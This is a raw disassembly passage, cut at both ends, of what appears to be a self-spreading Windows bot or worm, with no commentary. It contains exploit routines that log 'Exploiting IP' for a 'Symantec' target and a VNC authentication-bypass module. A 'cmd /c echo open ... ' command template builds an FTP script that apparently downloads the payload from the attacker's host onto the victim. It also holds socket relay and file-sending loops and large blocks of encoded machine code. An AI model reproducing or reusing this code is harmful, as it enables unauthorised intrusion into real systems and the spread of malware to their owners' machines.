push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: ___:0040E884j ; ___:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: ___:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: ___:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: ___:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: ___:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: ___:0040E975j push ebx call dword_4CBA6C cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: ___:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: ___:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: ___:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j nop call near ptr 71AB1A6Dh loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p ; ___:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp ; ___:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: ___:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: ___:0040EC4Bj call dword_4CBA6C jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: ___:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: ___:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: ___:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: ___:0040EC9Dj ; ___:0040ECC2j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE87: ; CODE XREF: ___:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: ___:0040EE7Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: ___:0040EEB3j ; ___:0040EECFj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE708 call dword_4CB9EC test eax, eax jle short loc_40EE97 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE704 nop call near ptr 2720000h jmp short loc_40EE97 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: ___:0040EF00j ; ___:0040EF1Aj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE6F8 nop call near ptr 271129Ah cmp dword ptr [ebp-4], 0 jle short loc_40EEDA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE708 call dword_4CBA24 jmp short loc_40EEDA ; --------------------------------------------------------------------------- dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2CCAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 2EE890B4h, 50023219h, 0E6FC35FFh, 22E8004Ch dd 90023219h, 12EEE850h, 8D900232h, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h dd 0E8905700h, 226198Ch, 50E8458Dh, 0D1685757h, 8D0040EEh dd 5057F445h, 0F92E890h, 45890228h, 0E8458DECh, 68575750h dd 40EE8Eh, 57F4458Dh, 0F7AE850h, 6A900228h, 0F04589FFh dd 90D875FFh, 2910D3E8h, 75FF5702h, 17A8E8F0h, 57900229h dd 90EC75FFh, 29179DE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 321193E8h, 35FF02h, 0FF004CE7h, 435FFD6h dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h dd 0C359004Ch dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD91+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0D1E89053h dd 8B022E18h, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh dd 5959FFFFh, 51E89056h, 68022E18h, 0FFFEh, 9997E853h dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC435E8h, 565959FFh, 2E17D7E8h, 56A9002h, 0FC15FF57h dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h dd 6A59FFh, 16D6E890h db 2Eh, 2 word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h dd 7DC08571h, 0E9C38B07h, 548h, 0E8570A6Ah, 716A696Ah dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h dd 0F8839071h, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh dd 5750FFFFh, 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh dd 6A916CE8h, 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh dd 4349A4h, 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 49846816h dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh dd 434944h, 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h dd 0BF000002h, 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h, 7559C085h dd 0BE0A6A34h, 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh dd 434898h, 0D2CEE850h, 85590000h, 2A7559C0h, 80BE056Ah dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h, 0F59C085h dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh, 45891CC4h dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h, 481C681Dh dd 6E90043h, 8D000001h, 0FFFF5085h, 481468FFh, 0E8500043h dd 0D1BCh, 59C08559h, 0CC850Fh, 6A560000h, 47E86828h, 75FF0043h dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h dd 9E850Fh, 0B5390000h, 0FFFFFBBCh, 8D562375h, 0FFF72085h dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h, 1B6A560Dh dd 43475868h, 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CE71C, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE71C call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: ___:0040FA1Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2680000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: ___:0040FAB4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE71C nop call near ptr 71AB1AF4h push 1 call near ptr 2680EF8h nop test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: ___:0040FA77j push esi call sub_41BA3B pop ecx push dword_4CE71C call near ptr 71AB1A6Dh nop call near ptr 71AB1836h nop push 1 pop eax loc_40FAD3: ; CODE XREF: ___:0040FA71j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9D4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: 